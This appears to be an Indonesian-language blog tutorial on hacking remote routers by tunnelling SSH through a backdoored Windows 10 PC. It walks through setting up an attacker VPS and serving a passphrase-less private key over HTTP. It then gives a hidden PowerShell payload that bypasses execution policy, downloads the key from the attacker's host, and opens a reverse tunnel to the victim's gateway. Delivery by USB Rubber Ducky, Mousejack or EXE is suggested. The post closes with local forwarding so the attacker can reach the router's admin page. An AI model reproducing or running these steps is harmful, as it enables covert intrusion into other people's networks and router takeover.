Cara Menggunakan SSH Tunnels Untuk Forward Requests & Hack Remote Routers
Tanpa hak admin, menginstal software tambahan, atau memodifikasi firewall Windows 10, penyerang dapat mengubah router dan melakukan berbagai eksploitasi. Hal ini dicapai dengan meneruskan permintaan dari OS Kali Linux melalui komputer Windows backdoored ke gateway router dengan gate SSH sederhana.
Serangan yang akan menggunakan keuntungan dari opsi penerusan port SSH -R dan -L untuk membuat koneksi terenkripsi ke dan dari server penyerang. Diagram di bawah ini memberikan gambaran serangan yang disederhanakan.
# Attack Topology
[Kali/Hacker]
|
|
SSH
|
\|/
'
[Debian/Server]
.
/|\
|
SSH +-->[Raspberry Pi on 192.168.1.2:8080]
| /
| /
[Windows 10/Proxy]---->[Router/Target on 192.168.1.1:80]
\
\
+-->[Torrent Client on 192.168.1.3:8080]
Koneksi memungkinkan penyerang untuk meneruskan permintaan melalui server pribadi virtual (Debian), dan kemudian melalui Windows 10 PC, akhirnya memberikan akses penyerang ke gateway router. Perangkat dan port lain di jaringan dapat ditargetkan melalui komputer Windows 10, tetapi kita akan fokus pada router. Seorang penyerang dengan akses ke pengaturan router dapat menyebabkan semua jenis kerusakan.
Payload PowerShell dijalankan di Windows 10, memaksanya untuk membuat koneksi SSH ke server penyerang. Selanjutnya meneruskan permintaan dari server melalui Windows 10 ke gateway router. Untuk mengakses port yang diteruskan di Debian VPS, penyerang juga menghubungkan ke server, memungkinkan mereka untuk menggunakannya dan Windows 10 sebagai mekanisme penerusan ganda.
Serangan serupa dapat dilakukan dengan Tor yang memungkinkan akses yang lebih besar ke perangkat dan port di jaringan target. Tetapi saya ingin menemukan solusi penerusan yang tidak melibatkan hak akses admin, perangkat lunak pihak ketiga, membuka portal pada Windows 10, atau memodifikasi firewall apa pun.
Skema ini dapat diatur dengan Kali Linux dan Windows 10 pada jaringan Wi-Fi bersama. Dalam skenario seperti itu, penyerang mungkin mencoba untuk mengakses layanan menggunakan alamat IP Windows 10 untuk memotong penyaringan IP atau whitelist. Namun, ini merupakan kasus yang spesifik dan kurang praktis. Untuk alasan itu, demonstrasi kami akan menggunakan server pribadi virtual, yang memungkinkan penyerang meretas router dari jarak jauh melalui dua sistem dari jaringan apa pun di dunia.
Langkah 1 Konfigurasikan Server Debian
Untuk memulai, SSH ke server pribadi virtual yang digunakan dalam serangan itu sebagai root. Alamat IP server sebagai contoh 11.22.33.44 dalam tutorial ini.
Buat SSH key pair baru dengan perintah ssh-keygen berikut. Saat diminta untuk memasukkan sandi, biarkan kosong dan tekan Enter pada keyboard. Sandi key pair harus kosong agar serangan berfungsi.
Prompt ssh-keygen akan mencoba memberi nama kunci baru "id_rsa" secara default. Ubah ke string acak seperti "ab56ab49226ed8603e9ae41e242d8096" untuk menggagalkan crawler direktori potensial.
~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/key
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/key.
Your public key has been saved in /root/.ssh/key.pub.
The key fingerprint is:
SHA256:5M9KVJVlW2o2er4MSaW0+5yyFhqhKm51kAfrt/fEnbA root@debian9
The key's randomart image is:
+---[RSA 2048]----+
| .oo .|
| . ... + |
| +. . . B |
| +o.... B . |
| . oS. .* . |
| o.+o.o.O . |
| . +..ooE.+ |
| o ....o.o= o |
| o.. .. ooo* |
+----[SHA256]-----+
Selanjutnya, ubah ke direktori ~ / .ssh.
~# cd ~/.ssh
Daftar file dalam direktori; harus ada kunci publik (.pub) dan pribadi.
~/.ssh# ls -la
-rw------- 1 root root 1675 Mar 24 05:26 key
-rw-r--r-- 1 root root 391 Mar 24 05:26 key.pub
Salin kunci publik ke file yang disebut "authorized_keys", ini akan memungkinkan klien SSH (mis., Windows 10) dengan kunci pribadi untuk mengautentikasi ke server SSH.
~/.ssh# cp key.pub authorized_keys
Ubah file "sshd_config" untuk menonaktifkan otentikasi kata sandi. Hanya klien dengan kunci pribadi yang dapat mengautentikasi ke server setelah modifikasi. Ini merupakan langkah penting karena otentikasi kata sandi dapat mencegah klien Windows yang diretas untuk mengautentikasi dengan benar.
~/.ssh# nano /etc/ssh/sshd_config
Setel opsi "PasswordAuthentication" dengan pilihan "no," dan batalkan komentar pada baris jika perlu. Simpan dan keluar dari nano dengan menekan Ctrl + x, lalu y, dan Enter.
Sekarang, restart server SSH dengan perintah systemctl
~/.ssh# systemctl restart ssh
Ketika berada di direktori .ssh /, buat file "index.html" kosong untuk mencegah server HTTP berikut dari daftar file dalam direktori.
~/.ssh# touch index.html
Jadikan kunci tersedia untuk internet dengan layar berikut dan perintah python3. Layar akan memungkinkan server HTTP Python3 untuk bertahan lama setelah koneksi SSH ditutup.
~/.ssh# screen python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
Untuk melepaskan dari sesi Layar tanpa menghentikan server Python3, tekan Control-A, lalu D. Setelah itu, keluar dari sesi SSH.
Langkah 2 Menguji Layanan SSH
Untuk memastikan server SSH dikonfigurasi dengan benar, beberapa hal dapat dilakukan.
Di mesin lokal Kali , buka Firefox dan navigasikan ke alamat IP server atau nama domain. Server akan menampilkan halaman kosong karena file index.html kosong yang dibuat pada langkah sebelumnya. Dari URL, unduh tombol /key.
Kemampuan untuk mengunduh kunci berarti PowerShell juga akan dapat menemukannya ketika Invoke-WebRequest dijalankan pada komputer Windows target.
Selanjutnya, buka terminal dan salin kunci ke direktori Kali ~ / .ssh /.
~# cp ~/Downloads/key ~/.ssh/
Klien SSH di Kali secara khusus mengenai izin file kunci. Ubah izin dengan perintah chmod.
~# chmod 0600 ~/.ssh/key
akhirnya, uji kunci dengan mengautentikasi ke server Debian dari Kali. Jika server Debian meminta kata sandi atau menolak kunci, berarti ada yang salah. Kali harus dapat mengautentikasi ke server tanpa diminta sama sekali.
Langkah 3 Jalankan Payload
Payload PowerShell dapat dieksekusi terhadap Windows 10 dalam beberapa cara. Ini akan berguna selama serangan pasca eksploitasi di mana akses jarak jauh ke komputer telah dibuat. Payload Mousejack dan USB Rubber Ducky sangat efektif, tetapi dapat dikonversi menjadi executable (EXE) dan dikirim dengan target.C:\> powershell -ep bypass /w 1 /C iwr 11.22.33.44/key -OutFile $env:temp\key;ssh -N -i $env:temp\key -R 9999:192.168.1.1:80 -o StrictHostKeyChecking=no root@11.22.33.44 -p 22
PowerShell pertama-tama akan menggunakan perintah Invoke-WebRequest untuk mengunduh /key dari server penyerang dan menyimpannya ke direktori temp. SSH kemudian dipanggil dengan opsi -R, yang meneruskan permintaan yang dibuat ke port 9999 melalui komputer Windows dan ke alamat IP router 192.168.1.1:80 .
Langkah 4 Konfigurasikan Kali untuk Mengakses Router Gateway
Setelah mengeksekusi payload, gunakan netstat pada server Debian untuk menemukan port 9999 terbuka.~# netstat -lptn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1220/sshd
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN 9999/sshd: root@pts
tcp6 0 0 :::22 :::* LISTEN 1220/sshd
tcp6 0 0 ::1:9999
Sekarang, permintaan yang dikirim ke port 9999 akan diteruskan ke router (192.168.1.1:80). Masalahnya adalah, port 9999 hanya tersedia di alamat loopback Debian (127.0.0.1) - yang tidak dapat diakses dari alamat IP eksternal (mis., Kali). Salah satu solusinya adalah SSH ke server Debian dari Kali dengan opsi -L.
~# ssh -N -L 8888:127.0.0.1:9999 -i ~/.ssh/key root@11.22.33.44
Di Kali, permintaan yang dibuat ke port 8888 diteruskan ke port 9999 di server Debian. Permintaan kemudian segera diteruskan melalui Windows 10 dan, pada akhirnya, ke gateway router. Baik Debian dan Windows 10 bertindak bersama sebagai sistem penerusan yang memungkinkan penyerang di bagian dunia yang berbeda untuk mengakses router.
Itu dapat diverifikasi dengan membuka Firefox di Kali dan menavigasi ke http://127.0.0.1:8888.
Router gateway dapat diakses melalui Windows 10.




0 Comment:
Post a Comment